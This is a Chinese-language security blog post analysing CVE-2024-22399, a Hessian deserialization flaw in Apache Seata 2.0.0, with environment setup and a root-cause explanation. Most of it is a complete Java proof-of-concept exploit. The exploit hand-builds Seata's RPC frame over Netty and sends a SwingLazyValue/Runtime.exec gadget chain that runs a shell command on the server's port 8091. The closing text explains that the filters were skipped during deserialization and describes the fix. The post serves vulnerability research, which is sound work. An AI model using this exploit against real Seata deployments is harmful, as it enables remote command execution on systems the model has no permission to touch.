CVE-2024-22399 Seata Hessian反序列化漏洞分析
2025-03-12 12:10:07
涉及了Hessian,索性看一眼分析下
参考文章
https://xz.aliyun.com/news/15090
环境搭建
官网下载docker部署即可
https://seata.apache.org/zh-cn/download/seata-server
docker run -d -p 5005:5005 -p 7091:7091 -p 8091:8091 --name seata200 seata2.0.0
进docker用调试的命令来启动服务
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar seata-server.jar
配置远程jvm调试
漏洞复现
<parent>
<groupId>io.seata</groupId>
<artifactId>seata-build</artifactId>
<version>2.0.0</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>seata-parent</artifactId>
<packaging>pom</packaging>
<name>Seata Parent POM ${project.version}</name>
<description>parent for Seata built with Maven</description>
<!--test-->
<dependencies>
<dependency>
<groupId>${project.groupId}</groupId>
<artifactId>seata-serializer-seata</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>${project.groupId}</groupId>
<artifactId>seata-serializer-protobuf</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>${project.groupId}</groupId>
<artifactId>seata-serializer-kryo</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>${project.groupId}</groupId>
<artifactId>seata-serializer-hessian</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>${project.groupId}</groupId>
<artifactId>seata-common</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>${project.groupId}</groupId>
<artifactId>seata-discovery-core</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-all</artifactId>
</dependency>
<dependency>
<groupId>commons-pool</groupId>
<artifactId>commons-pool</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-dbcp2</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.platform</groupId>
<artifactId>junit-platform-launcher</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mockito</groupId>
<artifactId>mockito-core</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mockito</groupId>
<artifactId>mockito-junit-jupiter</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.assertj</groupId>
<artifactId>assertj-core</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import io.netty.bootstrap.Bootstrap;
import io.netty.buffer.ByteBuf;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.MessageToByteEncoder;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.seata.core.compressor.Compressor;
import io.seata.core.compressor.CompressorFactory;
import io.seata.core.protocol.RpcMessage;
import io.seata.core.rpc.netty.v1.HeadMapSerializer;
import sun.swing.SwingLazyValue;
import io.seata.serializer.hessian.HessianSerializerFactory;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import static io.seata.common.util.ReflectionUtil.setFieldValue;
public class SeataPoc {
public SeataPoc() {
}
public void SendPoc(String host,int port) throws InterruptedException {
EventLoopGroup group = new NioEventLoopGroup();
try {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(group)
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(new HessianEncoder());
ch.pipeline().addLast(new SendPocHandler());
}
});
// 连接到服务器
ChannelFuture future = bootstrap.connect(host, port).sync();
// 等待连接关闭
future.channel().closeFuture().sync();
} finally {
group.shutdownGracefully();
}
}
private class HessianEncoder extends MessageToByteEncoder {
public HessianEncoder() {
}
public void encode(ChannelHandlerContext ctx, Object msg, ByteBuf out) {
try {
if (!(msg instanceof RpcMessage)) {
throw new UnsupportedOperationException("Not support this class:" + msg.getClass());
}
RpcMessage rpcMessage = (RpcMessage)msg;
int fullLength = 16;
int headLength = 16;
byte messageType = rpcMessage.getMessageType();
out.writeBytes(new byte[]{-38, -38});
out.writeByte(1);
out.writerIndex(out.writerIndex() + 6);
out.writeByte(messageType);
out.writeByte(rpcMessage.getCodec());
out.writeByte(rpcMessage.getCompressor());
out.writeInt(rpcMessage.getId());
Map<String, String> headMap = rpcMessage.getHeadMap();
if (headMap != null && !headMap.isEmpty()) {
int headMapBytesLength = HeadMapSerializer.getInstance().encode(headMap, out);
headLength += headMapBytesLength;
fullLength += headMapBytesLength;
}
byte[] bodyBytes = null;
if (messageType != 3 && messageType != 4) {
SerializerFactory hessian = HessianSerializerFactory.getInstance();
hessian.setAllowNonSerializable(true);
byte[] stream = null;
try {
com.caucho.hessian.io.Serializer serializer1 = hessian.getSerializer(rpcMessage.getBody().getClass());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
serializer1.writeObject(rpcMessage.getBody(), output);
output.close();
stream = baos.toByteArray();
} catch (IOException var7) {
System.out.println(var7);
}
bodyBytes = stream;
Compressor compressor = CompressorFactory.getCompressor(rpcMessage.getCompressor());
bodyBytes = compressor.compress(bodyBytes);
fullLength += bodyBytes.length;
}
if (bodyBytes != null) {
out.writeBytes(bodyBytes);
}
int writeIndex = out.writerIndex();
out.writerIndex(writeIndex - fullLength + 3);
out.writeInt(fullLength);
out.writeShort(headLength);
out.writerIndex(writeIndex);
} catch (Throwable var12) {
System.out.println(var12);
}
}
}
private class SendPocHandler extends ChannelInboundHandlerAdapter {
@Override
public void channelActive(ChannelHandlerContext ctx) throws Exception{
// 连接成功时发送消息
RpcMessage rpcMessage = new RpcMessage();
rpcMessage.setCodec((byte) 22);
// evil Object
rpcMessage.setBody(GenObject("touch /tmp/123"));
ctx.writeAndFlush(rpcMessage);
}
public Object GenObject(String cmd) throws Exception{
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
return mimeTypeParameterList;
}
}
public static void main(String[] args) throws Exception{
SeataPoc seataPoc = new SeataPoc();
seataPoc.SendPoc("127.0.0.1", 8091);
}
}
实际上就是打的hessian链,通过seata encode封装后发给服务端口
协议相关具体参考这位师傅
实际上可以看见不仅支持hessian,还支持kryo,jackson等
漏洞分析
其实漏洞点也是个很搞笑的点,明明同时设置了黑白名单,但是只在序列化时进行了使用,反序列化里并没有设置工厂类,所以是没有任何过滤的,随便打一条hessian即可
后续修复就是在反序列化时调用了工厂类,黑白名单很死,所以无法进行绕过了,本来看文章还以为能偷摸一个cve
同样的也去看了kryo,启用了registrationRequired,所有反序列化的类都需要进行注册,相当于白名单。也g
最难的点还是手搓协议的部分吧,感谢前人